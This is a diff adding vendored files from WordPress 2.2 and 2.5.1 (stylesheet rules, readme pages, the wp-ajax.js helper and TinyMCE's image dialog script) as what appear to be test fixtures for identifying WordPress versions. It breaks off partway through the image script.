|
||||
|
||||
|
||||
|
||||
/* Begin Form Elements */
|
||||
#searchform {
|
||||
margin: 10px auto;
|
||||
padding: 5px 3px;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
#sidebar #searchform #s {
|
||||
width: 115px;
|
||||
padding: 2px;
|
||||
}
|
||||
|
||||
#sidebar #searchsubmit {
|
||||
padding: 1px;
|
||||
}
|
||||
|
||||
.entry form { /* This is mainly for password protected posts, makes them look better. */
|
||||
text-align:center;
|
||||
}
|
||||
|
||||
select {
|
||||
width: 130px;
|
||||
}
|
||||
|
||||
#commentform input {
|
||||
width: 170px;
|
||||
padding: 2px;
|
||||
margin: 5px 5px 1px 0;
|
||||
}
|
||||
|
||||
#commentform textarea {
|
||||
width: 100%;
|
||||
padding: 2px;
|
||||
}
|
||||
|
||||
#commentform #submit {
|
||||
margin: 0;
|
||||
float: right;
|
||||
}
|
||||
/* End Form Elements */
|
||||
|
||||
|
||||
|
||||
/* Begin Comments*/
|
||||
.alt {
|
||||
margin: 0;
|
||||
padding: 10px;
|
||||
}
|
||||
|
||||
.commentlist {
|
||||
padding: 0;
|
||||
text-align: justify;
|
||||
}
|
||||
|
||||
.commentlist li {
|
||||
margin: 15px 0 3px;
|
||||
padding: 5px 10px 3px;
|
||||
list-style: none;
|
||||
}
|
||||
|
||||
.commentlist p {
|
||||
margin: 10px 5px 10px 0;
|
||||
}
|
||||
|
||||
#commentform p {
|
||||
margin: 5px 0;
|
||||
}
|
||||
|
||||
.nocomments {
|
||||
text-align: center;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
.commentmetadata {
|
||||
margin: 0;
|
||||
display: block;
|
||||
}
|
||||
/* End Comments */
|
||||
|
||||
|
||||
|
||||
/* Begin Sidebar */
|
||||
#sidebar
|
||||
{
|
||||
padding: 20px 0 10px 0;
|
||||
margin-left: 545px;
|
||||
width: 190px;
|
||||
}
|
||||
|
||||
#sidebar form {
|
||||
margin: 0;
|
||||
}
|
||||
/* End Sidebar */
|
||||
|
||||
|
||||
|
||||
/* Begin Calendar */
|
||||
#wp-calendar {
|
||||
empty-cells: show;
|
||||
margin: 10px auto 0;
|
||||
width: 155px;
|
||||
}
|
||||
|
||||
#wp-calendar #next a {
|
||||
padding-right: 10px;
|
||||
text-align: right;
|
||||
}
|
||||
|
||||
#wp-calendar #prev a {
|
||||
padding-left: 10px;
|
||||
text-align: left;
|
||||
}
|
||||
|
||||
#wp-calendar a {
|
||||
display: block;
|
||||
}
|
||||
|
||||
#wp-calendar caption {
|
||||
text-align: center;
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
#wp-calendar td {
|
||||
padding: 3px 0;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
#wp-calendar td.pad:hover { /* Doesn't work in IE */
|
||||
background-color: #fff; }
|
||||
/* End Calendar */
|
||||
|
||||
|
||||
|
||||
/* Begin Various Tags & Classes */
|
||||
acronym, abbr, span.caps {
|
||||
cursor: help;
|
||||
}
|
||||
|
||||
acronym, abbr {
|
||||
border-bottom: 1px dashed #999;
|
||||
}
|
||||
|
||||
blockquote {
|
||||
margin: 15px 30px 0 10px;
|
||||
padding-left: 20px;
|
||||
border-left: 5px solid #ddd;
|
||||
}
|
||||
|
||||
blockquote cite {
|
||||
margin: 5px 0 0;
|
||||
display: block;
|
||||
}
|
||||
|
||||
.center {
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
hr {
|
||||
display: none;
|
||||
}
|
||||
|
||||
a img {
|
||||
border: none;
|
||||
}
|
||||
|
||||
.navigation {
|
||||
display: block;
|
||||
text-align: center;
|
||||
margin-top: 10px;
|
||||
margin-bottom: 60px;
|
||||
}
|
||||
/* End Various Tags & Classes*/
|
||||
|
||||
|
||||
|
||||
/* "Daisy, Daisy, give me your answer do. I'm half crazy all for the love of you.
|
||||
It won't be a stylish marriage, I can't afford a carriage.
|
||||
But you'll look sweet upon the seat of a bicycle built for two." */
|
||||
91
spec/fixtures/wp_versions/2.2/readme.html
vendored
Executable file
91
spec/fixtures/wp_versions/2.2/readme.html
vendored
Executable file
@@ -0,0 +1,91 @@
|
||||
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
|
||||
<html xmlns="http://www.w3.org/1999/xhtml">
|
||||
<head>
|
||||
<title>WordPress › ReadMe</title>
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
|
||||
<link rel="stylesheet" href="wp-admin/install.css" type="text/css" />
|
||||
</head>
|
||||
<body>
|
||||
<h1 id="logo" style="text-align: center">
|
||||
<img alt="WordPress" src="wp-admin/images/wordpress-logo.png" />
|
||||
<br /> Version 2.2
|
||||
</h1>
|
||||
<p style="text-align: center">Semantic Personal Publishing Platform</p>
|
||||
|
||||
<h1>First Things First</h1>
|
||||
<p>Welcome. WordPress is a very special project to me. Every developer and contributor adds something unique to the mix, and together we create something beautiful that I'm proud to be a part of. Thousands of hours have gone into WordPress, and we're dedicated to making it better every day. Thank you for making it part of your world.</p>
|
||||
<p style="text-align: right;">— Matt Mullenweg</p>
|
||||
|
||||
<h1>Installation: Famous 5-minute install</h1>
|
||||
<ol>
|
||||
<li>Unzip the package in an empty directory.</li>
|
||||
<li>Open up <code>wp-config-sample.php</code> with a text editor like WordPad or similar and fill in your database connection details.</li>
|
||||
<li>Save the file as <code>wp-config.php</code></li>
|
||||
<li>Upload everything.</li>
|
||||
<li>Open <span class="file"><a href="wp-admin/install.php">/wp-admin/install.php</a></span> in your browser. This should setup the tables needed for your blog. If there is an error, double check your <span class="file">wp-config.php</span> file, and try again. If it fails again, please go to the <a href="http://wordpress.org/support/">support forums</a> with as much data as you can gather.</li>
|
||||
<li><strong>Note the password given to you.</strong></li>
|
||||
<li> The install script should then send you to the <a href="wp-login.php">login page</a>. Sign in with the username <code>admin</code> and the password generated during the installation. You can then click on 'Profile' to change the password.</li>
|
||||
</ol>
|
||||
|
||||
<h1>Upgrading</h1>
|
||||
<p>Before you upgrade anything, make sure you have backup copies of any files you may have modified such as <code>index.php</code>.</p>
|
||||
<h2>Upgrading from any previous WordPress to 2.2:</h2>
|
||||
<ol>
|
||||
<li>Delete your old WP files, saving ones you've modified.</li>
|
||||
<li>Upload the new files.</li>
|
||||
<li>Point your browser to <span class="file"><a href="wp-admin/upgrade.php">/wp-admin/upgrade.php</a>.</span></li>
|
||||
<li>You wanted more, perhaps? That's it!</li>
|
||||
</ol>
|
||||
<h2>Template Changes</h2>
|
||||
<p>If you have customized your templates you will probably have to make some changes to them. If you're converting your 1.2 or earlier templates, <a href="http://codex.wordpress.org/Upgrade_1.2_to_1.5">we've created a special guide for you</a>. </p>
|
||||
|
||||
<h1>Online Resources</h1>
|
||||
<p>If you have any questions that aren't addressed in this document, please take advantage of WordPress' numerous online resources:</p>
|
||||
<dl>
|
||||
<dt><a href="http://codex.wordpress.org/">The WordPress Codex </a></dt>
|
||||
<dd>The Codex is the encyclopedia of all things WordPress. It is the most comprehensive source of information for WordPress available.</dd>
|
||||
<dt><a href="http://wordpress.org/development/">The Development Blog</a></dt>
|
||||
<dd>This is where you'll find the latest updates and news related to WordPress. Bookmark and check often.</dd>
|
||||
<dt><a href="http://planet.wordpress.org/">WordPress Planet </a></dt>
|
||||
<dd>The WordPress Planet is a news aggregator that brings together posts from WordPress blogs around the web.</dd>
|
||||
<dt><a href="http://wordpress.org/support/">WordPress Support Forums</a></dt>
|
||||
<dd>If you've looked everywhere and still can't find an answer, the support forums are very active and have a large community ready to help. To help them help you be sure to use a descriptive thread title and describe your question in as much detail as possible.</dd>
|
||||
<dt><a href="http://codex.wordpress.org/IRC">WordPress IRC Channel</a></dt>
|
||||
<dd>Finally, there is an online chat channel that is used for discussion among people who use WordPress and occasionally support topics. The above wiki page should point you in the right direction. (<a href="irc://irc.freenode.net/wordpress">irc.freenode.net #wordpress</a>)</dd>
|
||||
</dl>
|
||||
|
||||
<h1>System Recommendations</h1>
|
||||
<ul>
|
||||
<li>PHP version <strong>4.2</strong> or higher.</li>
|
||||
<li>MySQL version <strong>4.0</strong> or higher.</li>
|
||||
<li>... and a link to <a href="http://wordpress.org/">http://wordpress.org</a> on your site.</li>
|
||||
</ul>
|
||||
<p>WordPress is the official continuation of <a href="http://cafelog.com/">b2/cafélog</a>, which came from Michel V. The work has been continued by the <a href="http://wordpress.org/about/">WordPress developers</a>. If you would like to support WordPress, please consider <a href="http://wordpress.org/donate/">donating</a>.</p>
|
||||
|
||||
<h1>Upgrading from another system</h1>
|
||||
<p>WordPress can <a href="http://codex.wordpress.org/Importing_Content">import from a number of systems</a>. First you need to get WordPress installed and working as described above.</p>
|
||||
|
||||
<h1>XML-RPC and Atom Interface</h1>
|
||||
<p>You can now post to your WordPress blog with tools like <a href="http://windowslivewriter.spaces.live.com/">Windows Live Writer</a>, <a href="http://ecto.kung-foo.tv/">Ecto</a>, <a href="http://bloggar.com/">Bloggar</a>, <a href="http://radio.userland.com">Radio Userland</a> (which means you can use Radio's email-to-blog feature), <a href="http://www.newzcrawler.com/">NewzCrawler</a>, and other tools that support the Blogging APIs! :) You can read more about <a href="http://codex.wordpress.org/XML-RPC_Support">XML-RPC support on the Codex</a>.</p>
|
||||
|
||||
<h1>Post via Email</h1>
|
||||
<p>You can post from an email client! To set this up go to your "Writing" options screen and fill in the connection details for your secret POP3 account. Then you need to set up <code>wp-mail.php</code> to execute periodically to check the mailbox for new posts. You can do it with Cron-jobs, or if your host doesn't support it you can look into the various website-monitoring services, and make them check your <code>wp-mail.php</code> URL.</p>
|
||||
<p>Posting is easy: Any email sent to the address you specify will be posted, with the subject as the title. It is best to keep the address dicrete. The script will <i>delete</i> emails that are successfully posted.</p>
|
||||
|
||||
<h1>User Roles</h1>
|
||||
<p>We've eliminated user levels in order to make way for the much more flexible roles system introduced in 2.0. You can <a href="http://codex.wordpress.org/Roles_and_Capabilities">read more about Roles and Capabilities on the Codex</a>.</p>
|
||||
|
||||
<h1> Final notes</h1>
|
||||
<ul>
|
||||
<li>If you have any suggestions, ideas, comments, or if you (gasp!) found a bug, join us in the <a href="http://wordpress.org/support/">Support Forums</a>.</li>
|
||||
<li>WordPress now has a robust plugin API that makes extending the code easy. If you are a developer interested in utilizing this see the <a href="http://codex.wordpress.org/Plugin_API">plugin documentation in the Codex</a>. In most all cases you shouldn't modify any of the core code.</li>
|
||||
</ul>
|
||||
|
||||
<h1>Share the Love</h1>
|
||||
<p>WordPress has no multi-million dollar marketing campaign or celebrity sponsors, but we do have something even better—you. If you enjoy WordPress please consider telling a friend, setting it up for someone less knowledgable than yourself, or writing the author of a media article that overlooks us.</p>
|
||||
|
||||
<h1>Copyright</h1>
|
||||
<p>WordPress is released under the <abbr title="GNU Public License">GPL</abbr> (see <a href="license.txt">license.txt</a>).</p>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
100
spec/fixtures/wp_versions/2.2/wp-includes/js/wp-ajax.js
vendored
Executable file
100
spec/fixtures/wp_versions/2.2/wp-includes/js/wp-ajax.js
vendored
Executable file
@@ -0,0 +1,100 @@
|
||||
var WPAjax = Class.create();
|
||||
Object.extend(WPAjax.prototype, Ajax.Request.prototype);
|
||||
Object.extend(WPAjax.prototype, {
|
||||
WPComplete: false, // onComplete function
|
||||
WPError: false, // onWPError function
|
||||
defaultUrl: '', // We get these from WPAjaxL10n
|
||||
permText: '',
|
||||
strangeText: '',
|
||||
whoaText: '',
|
||||
|
||||
initialize: function(url, responseEl) {
|
||||
var tempObj = this;
|
||||
this.transport = Ajax.getTransport();
|
||||
if ( !this.transport )
|
||||
return false;
|
||||
this.setOptions( {
|
||||
parameters: 'cookie=' + encodeURIComponent(document.cookie),
|
||||
onComplete: function(transport) { // transport = XMLHttpRequest object
|
||||
if ( tempObj.parseAjaxResponse() ) {
|
||||
if ( 'function' == typeof tempObj.WPComplete )
|
||||
tempObj.WPComplete(transport);
|
||||
} else if ( 'function' == typeof tempObj.WPError ) // if response corresponds to an error (bad data, say, not 404)
|
||||
tempObj.WPError(transport);
|
||||
}
|
||||
});
|
||||
this.url = url ? url : this.defaultUrl;
|
||||
this.getResponseElement(responseEl);
|
||||
},
|
||||
addArg: function(key, value) {
|
||||
var a = [];
|
||||
a[encodeURIComponent(key)] = encodeURIComponent(value);
|
||||
this.options.parameters = $H(this.options.parameters).merge($H(a));
|
||||
},
|
||||
getResponseElement: function(r) {
|
||||
var p = $(r + '-p');
|
||||
if ( !p ) {
|
||||
new Insertion.Bottom(r, "<span id='" + r + "-p'></span>");
|
||||
var p = $(r + '-p');
|
||||
}
|
||||
this.myResponseElement = p;
|
||||
},
|
||||
parseAjaxResponse: function() { // 1 = good, 0 = strange (bad data?), -1 = you lack permission
|
||||
if ( this.transport.responseXML && typeof this.transport.responseXML == 'object' && ( this.transport.responseXML.xml || 'undefined' == typeof this.transport.responseXML.xml ) ) {
|
||||
var err = this.transport.responseXML.getElementsByTagName('wp_error');
|
||||
if ( err[0] ) {
|
||||
var msg = $A(err).inject( '', function(a, b) { return a + '<p>' + b.firstChild.nodeValue + '</p>'; } );
|
||||
Element.update(this.myResponseElement,'<div class="error">' + msg + '</div>');
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
var r = this.transport.responseText;
|
||||
if ( isNaN(r) ) {
|
||||
Element.update(this.myResponseElement,'<div class="error"><p>' + r + '</p></div>');
|
||||
return false;
|
||||
}
|
||||
var r = parseInt(r,10);
|
||||
if ( -1 == r ) {
|
||||
Element.update(this.myResponseElement,"<div class='error'><p>" + this.permText + "</p></div>");
|
||||
return false;
|
||||
} else if ( 0 == r ) {
|
||||
Element.update(this.myResponseElement,"<div class='error'><p>" + this.strangeText + "</p></div>");
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
},
|
||||
addOnComplete: function(f) {
|
||||
if ( 'function' == typeof f ) { var of = this.WPComplete; this.WPComplete = function(t) { if ( of ) of(t); f(t); } }
|
||||
},
|
||||
addOnWPError: function(f) {
|
||||
if ( 'function' == typeof f ) { var of = this.WPError; this.WPError = function(t) { if ( of ) of(t); f(t); } }
|
||||
},
|
||||
notInitialized: function() {
|
||||
return this.transport ? false : true;
|
||||
}
|
||||
});
|
||||
|
||||
Event.observe( window, 'load', function() { Object.extend(WPAjax.prototype, WPAjaxL10n); }, false )
|
||||
|
||||
Ajax.activeSendCount = 0;
|
||||
Ajax.Responders.register( {
|
||||
onCreate: function() {
|
||||
Ajax.activeSendCount++;
|
||||
if ( 1 != Ajax.activeSendCount )
|
||||
return;
|
||||
wpBeforeUnload = window.onbeforeunload;
|
||||
window.onbeforeunload = function() {
|
||||
return WPAjax.whoaText;
|
||||
}
|
||||
},
|
||||
onLoading: function() { // Can switch to onLoaded if we lose data
|
||||
Ajax.activeSendCount--;
|
||||
if ( 0 != Ajax.activeSendCount )
|
||||
return;
|
||||
window.onbeforeunload = wpBeforeUnload;
|
||||
}
|
||||
});
|
||||
|
||||
//Pretty func adapted from ALA http://www.alistapart.com/articles/gettingstartedwithajax
|
||||
function getNodeValue(tree,el){try { var r = tree.getElementsByTagName(el)[0].firstChild.nodeValue; } catch(err) { var r = null; } return r; }
|
||||
91
spec/fixtures/wp_versions/2.5.1/readme.html
vendored
Executable file
91
spec/fixtures/wp_versions/2.5.1/readme.html
vendored
Executable file
@@ -0,0 +1,91 @@
|
||||
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
|
||||
<html xmlns="http://www.w3.org/1999/xhtml">
|
||||
<head>
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
|
||||
<title>WordPress › ReadMe</title>
|
||||
<link rel="stylesheet" href="wp-admin/css/install.css" type="text/css" />
|
||||
</head>
|
||||
<body>
|
||||
<h1 id="logo" style="text-align: center">
|
||||
<img alt="WordPress" src="wp-admin/images/wordpress-logo.png" />
|
||||
<br /> Version 2.5
|
||||
</h1>
|
||||
<p style="text-align: center">Semantic Personal Publishing Platform</p>
|
||||
|
||||
<h1>First Things First</h1>
|
||||
<p>Welcome. WordPress is a very special project to me. Every developer and contributor adds something unique to the mix, and together we create something beautiful that I'm proud to be a part of. Thousands of hours have gone into WordPress, and we're dedicated to making it better every day. Thank you for making it part of your world.</p>
|
||||
<p style="text-align: right;">— Matt Mullenweg</p>
|
||||
|
||||
<h1>Installation: Famous 5-minute install</h1>
|
||||
<ol>
|
||||
<li>Unzip the package in an empty directory.</li>
|
||||
<li>Open up <code>wp-config-sample.php</code> with a text editor like WordPad or similar and fill in your database connection details.</li>
|
||||
<li>Save the file as <code>wp-config.php</code></li>
|
||||
<li>Upload everything.</li>
|
||||
<li>Open <span class="file"><a href="wp-admin/install.php">/wp-admin/install.php</a></span> in your browser. This should setup the tables needed for your blog. If there is an error, double check your <span class="file">wp-config.php</span> file, and try again. If it fails again, please go to the <a href="http://wordpress.org/support/">support forums</a> with as much data as you can gather.</li>
|
||||
<li><strong>Note the password given to you.</strong></li>
|
||||
<li> The install script should then send you to the <a href="wp-login.php">login page</a>. Sign in with the username <code>admin</code> and the password generated during the installation. You can then click on 'Profile' to change the password.</li>
|
||||
</ol>
|
||||
|
||||
<h1>Upgrading</h1>
|
||||
<p>Before you upgrade anything, make sure you have backup copies of any files you may have modified such as <code>index.php</code>.</p>
|
||||
<h2>Upgrading from any previous WordPress to 2.5:</h2>
|
||||
<ol>
|
||||
<li>Delete your old WP files, saving ones you've modified.</li>
|
||||
<li>Upload the new files.</li>
|
||||
<li>Point your browser to <span class="file"><a href="wp-admin/upgrade.php">/wp-admin/upgrade.php</a>.</span></li>
|
||||
<li>You wanted more, perhaps? That's it!</li>
|
||||
</ol>
|
||||
<h2>Template Changes</h2>
|
||||
<p>If you have customized your templates you will probably have to make some changes to them. If you're converting your 1.2 or earlier templates, <a href="http://codex.wordpress.org/Upgrade_1.2_to_1.5">we've created a special guide for you</a>. </p>
|
||||
|
||||
<h1>Online Resources</h1>
|
||||
<p>If you have any questions that aren't addressed in this document, please take advantage of WordPress' numerous online resources:</p>
|
||||
<dl>
|
||||
<dt><a href="http://codex.wordpress.org/">The WordPress Codex </a></dt>
|
||||
<dd>The Codex is the encyclopedia of all things WordPress. It is the most comprehensive source of information for WordPress available.</dd>
|
||||
<dt><a href="http://wordpress.org/development/">The Development Blog</a></dt>
|
||||
<dd>This is where you'll find the latest updates and news related to WordPress. Bookmark and check often.</dd>
|
||||
<dt><a href="http://planet.wordpress.org/">WordPress Planet </a></dt>
|
||||
<dd>The WordPress Planet is a news aggregator that brings together posts from WordPress blogs around the web.</dd>
|
||||
<dt><a href="http://wordpress.org/support/">WordPress Support Forums</a></dt>
|
||||
<dd>If you've looked everywhere and still can't find an answer, the support forums are very active and have a large community ready to help. To help them help you be sure to use a descriptive thread title and describe your question in as much detail as possible.</dd>
|
||||
<dt><a href="http://codex.wordpress.org/IRC">WordPress IRC Channel</a></dt>
|
||||
<dd>Finally, there is an online chat channel that is used for discussion among people who use WordPress and occasionally support topics. The above wiki page should point you in the right direction. (<a href="irc://irc.freenode.net/wordpress">irc.freenode.net #wordpress</a>)</dd>
|
||||
</dl>
|
||||
|
||||
<h1>System Recommendations</h1>
|
||||
<ul>
|
||||
<li>PHP version <strong>4.3</strong> or higher.</li>
|
||||
<li>MySQL version <strong>4.0</strong> or higher.</li>
|
||||
<li>... and a link to <a href="http://wordpress.org/">http://wordpress.org</a> on your site.</li>
|
||||
</ul>
|
||||
<p>WordPress is the official continuation of <a href="http://cafelog.com/">b2/cafélog</a>, which came from Michel V. The work has been continued by the <a href="http://wordpress.org/about/">WordPress developers</a>. If you would like to support WordPress, please consider <a href="http://wordpress.org/donate/">donating</a>.</p>
|
||||
|
||||
<h1>Upgrading from another system</h1>
|
||||
<p>WordPress can <a href="http://codex.wordpress.org/Importing_Content">import from a number of systems</a>. First you need to get WordPress installed and working as described above.</p>
|
||||
|
||||
<h1>XML-RPC and Atom Interface</h1>
|
||||
<p>You can now post to your WordPress blog with tools like <a href="http://windowslivewriter.spaces.live.com/">Windows Live Writer</a>, <a href="http://ecto.kung-foo.tv/">Ecto</a>, <a href="http://bloggar.com/">Bloggar</a>, <a href="http://radio.userland.com">Radio Userland</a> (which means you can use Radio's email-to-blog feature), <a href="http://www.newzcrawler.com/">NewzCrawler</a>, and other tools that support the Blogging APIs! :) You can read more about <a href="http://codex.wordpress.org/XML-RPC_Support">XML-RPC support on the Codex</a>.</p>
|
||||
|
||||
<h1>Post via Email</h1>
|
||||
<p>You can post from an email client! To set this up go to your "Writing" options screen and fill in the connection details for your secret POP3 account. Then you need to set up <code>wp-mail.php</code> to execute periodically to check the mailbox for new posts. You can do it with Cron-jobs, or if your host doesn't support it you can look into the various website-monitoring services, and make them check your <code>wp-mail.php</code> URL.</p>
|
||||
<p>Posting is easy: Any email sent to the address you specify will be posted, with the subject as the title. It is best to keep the address discrete. The script will <em>delete</em> emails that are successfully posted.</p>
|
||||
|
||||
<h1>User Roles</h1>
|
||||
<p>We've eliminated user levels in order to make way for the much more flexible roles system introduced in 2.0. You can <a href="http://codex.wordpress.org/Roles_and_Capabilities">read more about Roles and Capabilities on the Codex</a>.</p>
|
||||
|
||||
<h1> Final notes</h1>
|
||||
<ul>
|
||||
<li>If you have any suggestions, ideas, comments, or if you (gasp!) found a bug, join us in the <a href="http://wordpress.org/support/">Support Forums</a>.</li>
|
||||
<li>WordPress now has a robust plugin API that makes extending the code easy. If you are a developer interested in utilizing this see the <a href="http://codex.wordpress.org/Plugin_API">plugin documentation in the Codex</a>. In most all cases you shouldn't modify any of the core code.</li>
|
||||
</ul>
|
||||
|
||||
<h1>Share the Love</h1>
|
||||
<p>WordPress has no multi-million dollar marketing campaign or celebrity sponsors, but we do have something even better—you. If you enjoy WordPress please consider telling a friend, setting it up for someone less knowledgable than yourself, or writing the author of a media article that overlooks us.</p>
|
||||
|
||||
<h1>Copyright</h1>
|
||||
<p>WordPress is released under the <abbr title="GNU Public License">GPL</abbr> (see <a href="license.txt">license.txt</a>).</p>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
254
spec/fixtures/wp_versions/2.5.1/wp-includes/js/tinymce/themes/advanced/js/image.js
vendored
Executable file
254
spec/fixtures/wp_versions/2.5.1/wp-includes/js/tinymce/themes/advanced/js/image.js
vendored
Executable file
@@ -0,0 +1,254 @@
|
||||
var ImageDialog = {
|
||||
preInit : function() {
|
||||
var url;
|
||||
|
||||
tinyMCEPopup.requireLangPack();
|
||||
|
||||
if (url = tinyMCEPopup.getParam("external_image_list_url"))
|
||||
document.write('<script language="javascript" type="text/javascript" src="' + tinyMCEPopup.editor.documentBaseURI.toAbsolute(url) + '"></script>');
|
||||
},
|
||||
|
||||
init : function() {
|
||||
var f = document.forms[0], ed = tinyMCEPopup.editor;
|
||||
|
||||
// Setup browse button
|
||||
document.getElementById('srcbrowsercontainer').innerHTML = getBrowserHTML('srcbrowser','src','image','theme_advanced_image');
|
||||
if (isVisible('srcbrowser'))
|
||||
document.getElementById('src').style.width = '180px';
|
||||
|
||||
e = ed.selection.getNode();
|
||||
|
||||
this.fillFileList('image_list', 'tinyMCEImageList');
|
||||
|
||||
if (e.nodeName == 'IMG') {
|
||||
f.src.value = ed.dom.getAttrib(e, 'src');
|
||||
f.alt.value = ed.dom.getAttrib(e, 'alt');
|
||||
f.border.value = this.getAttrib(e, 'border');
|
||||
f.vspace.value = this.getAttrib(e, 'vspace');
|
||||
f.hspace.value = this.getAttrib(e, 'hspace');
|
||||
f.width.value = ed.dom.getAttrib(e, 'width');
|
||||
f.height.value = ed.dom.getAttrib(e, 'height');
|
||||
f.insert.value = ed.getLang('update');
|
||||
f.class_name.value = ed.dom.getAttrib(e, 'class');
|
||||
this.styleVal = ed.dom.getAttrib(e, 'style');
|
||||
selectByValue(f, 'image_list', f.src.value);
|
||||
selectByValue(f, 'align', this.getAttrib(e, 'align'));
|
||||
this.updateStyle();
|
||||
}
|
||||
},
|
||||
|
||||
fillFileList : function(id, l) {
|
||||
var dom = tinyMCEPopup.dom, lst = dom.get(id), v, cl;
|
||||
|
||||
l = window[l];
|
||||
|
||||
if (l && l.length > 0) {
|
||||
lst.options[lst.options.length] = new Option('', '');
|
||||
|
||||
tinymce.each(l, function(o) {
|
||||
lst.options[lst.options.length] = new Option(o[0], o[1]);
|
||||
});
|
||||
} else
|
||||
dom.remove(dom.getParent(id, 'tr'));
|
||||
},
|
||||
|
||||
update : function() {
|
||||
var f = document.forms[0], nl = f.elements, ed = tinyMCEPopup.editor, args = {}, el;
|
||||
|
||||
tinyMCEPopup.restoreSelection();
|
||||
|
||||
if (f.src.value === '') {
|
||||
if (ed.selection.getNode().nodeName == 'IMG') {
|
||||
ed.dom.remove(ed.selection.getNode());
|
||||
ed.execCommand('mceRepaint');
|
||||
}
|
||||
|
||||
tinyMCEPopup.close();
|
||||
return;
|
||||
}
|
||||
|
||||
if (!ed.settings.inline_styles) {
|
||||
args = tinymce.extend(args, {
|
||||
vspace : nl.vspace.value,
|
||||
hspace : nl.hspace.value,
|
||||
border : nl.border.value,
|
||||
align : getSelectValue(f, 'align')
|
||||
});
|
||||
} else
|
||||
args.style = this.styleVal;
|
||||
|
||||
tinymce.extend(args, {
|
||||
src : f.src.value,
|
||||
alt : f.alt.value,
|
||||
width : f.width.value,
|
||||
height : f.height.value,
|
||||
'class' : f.class_name.value
|
||||
});
|
||||
|
||||
el = ed.selection.getNode();
|
||||
|
||||
if (el && el.nodeName == 'IMG') {
|
||||
ed.dom.setAttribs(el, args);
|
||||
} else {
|
||||
ed.execCommand('mceInsertContent', false, '<img id="__mce_tmp" src="javascript:;" />', {skip_undo : 1});
|
||||
ed.dom.setAttribs('__mce_tmp', args);
|
||||
ed.dom.setAttrib('__mce_tmp', 'id', '');
|
||||
ed.undoManager.add();
|
||||
}
|
||||
|
||||
tinyMCEPopup.close();
|
||||
},
|
||||
|
||||
updateStyle : function() {
|
||||
var dom = tinyMCEPopup.dom, st, v, cls, oldcls, rep, f = document.forms[0];
|
||||
|
||||
if (tinyMCEPopup.editor.settings.inline_styles) {
|
||||
st = tinyMCEPopup.dom.parseStyle(this.styleVal);
|
||||
|
||||
// Handle align
|
||||
v = getSelectValue(f, 'align');
|
||||
cls = f.class_name.value || '';
|
||||
cls = cls ? cls.replace(/alignright\s*|alignleft\s*|aligncenter\s*/g, '') : '';
|
||||
cls = cls ? cls.replace(/^\s*(.+?)\s*$/, '$1') : '';
|
||||
if (v) {
|
||||
if (v == 'left' || v == 'right') {
|
||||
st['float'] = v;
|
||||
delete st['vertical-align'];
|
||||
oldcls = cls ? ' '+cls : '';
|
||||
f.class_name.value = 'align' + v + oldcls;
|
||||
} else {
|
||||
st['vertical-align'] = v;
|
||||
delete st['float'];
|
||||
f.class_name.value = cls;
|
||||
}
|
||||
} else {
|
||||
delete st['float'];
|
||||
delete st['vertical-align'];
|
||||
f.class_name.value = cls;
|
||||
}
|
||||
|
||||
// Handle border
|
||||
v = f.border.value;
|
||||
if (v || v == '0') {
|
||||
if (v == '0')
|
||||
st['border'] = '0';
|
||||
else
|
||||
st['border'] = v + 'px solid black';
|
||||
} else
|
||||
delete st['border'];
|
||||
|
||||
// Handle hspace
|
||||
v = f.hspace.value;
|
||||
if (v) {
|
||||
delete st['margin'];
|
||||
st['margin-left'] = v + 'px';
|
||||
st['margin-right'] = v + 'px';
|
||||
} else {
|
||||
delete st['margin-left'];
|
||||
delete st['margin-right'];
|
||||
}
|
||||
|
||||
// Handle vspace
|
||||
v = f.vspace.value;
|
||||
if (v) {
|
||||
delete st['margin'];
|
||||
st['margin-top'] = v + 'px';
|
||||
st['margin-bottom'] = v + 'px';
|
||||
} else {
|
||||
delete st['margin-top'];
|
||||
delete st['margin-bottom'];
|
||||
}
|
||||
|
||||
// Merge
|
||||
st = tinyMCEPopup.dom.parseStyle(dom.serializeStyle(st));
|
||||
this.styleVal = dom.serializeStyle(st);
|
||||
}
|
||||
},
|
||||
|
||||
getAttrib : function(e, at) {
|
||||
var ed = tinyMCEPopup.editor, dom = ed.dom, v, v2;
|
||||
|
||||
if (ed.settings.inline_styles) {
|
||||
switch (at) {
|
||||
case 'align':
|
||||
if (v = dom.getStyle(e, 'float'))
|
||||
return v;
|
||||
|
||||
if (v = dom.getStyle(e, 'vertical-align'))
|
||||
return v;
|
||||
|
||||
break;
|
||||
|
||||
case 'hspace':
|
||||
v = dom.getStyle(e, 'margin-left')
|
||||
v2 = dom.getStyle(e, 'margin-right');
|
||||
if (v && v == v2)
|
||||
return parseInt(v.replace(/[^0-9]/g, ''));
|
||||
|
||||
break;
|
||||
|
||||
case 'vspace':
|
||||
v = dom.getStyle(e, 'margin-top')
|
||||
v2 = dom.getStyle(e, 'margin-bottom');
|
||||
if (v && v == v2)
|
||||
return parseInt(v.replace(/[^0-9]/g, ''));
|
||||
|
||||
break;
|
||||
|
||||
case 'border':
|
||||
v = 0;
|
||||
|
||||
tinymce.each(['top', 'right', 'bottom', 'left'], function(sv) {
|
||||
sv = dom.getStyle(e, 'border-' + sv + '-width');
|
||||
|
||||
// False or not the same as prev
|
||||
if (!sv || (sv != v && v !== 0)) {
|
||||
v = 0;
|
||||
return false;
|
||||
}
|
||||
|
||||
if (sv)
|
||||
v = sv;
|
||||
});
|
||||
|
||||
if (v)
|
||||
return parseInt(v.replace(/[^0-9]/g, ''));
|
||||
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (v = dom.getAttrib(e, at))
|
||||
return v;
|
||||
|
||||
return '';
|
||||
},
|
||||
|
||||
resetImageData : function() {
|
||||
var f = document.forms[0];
|
||||
|
||||
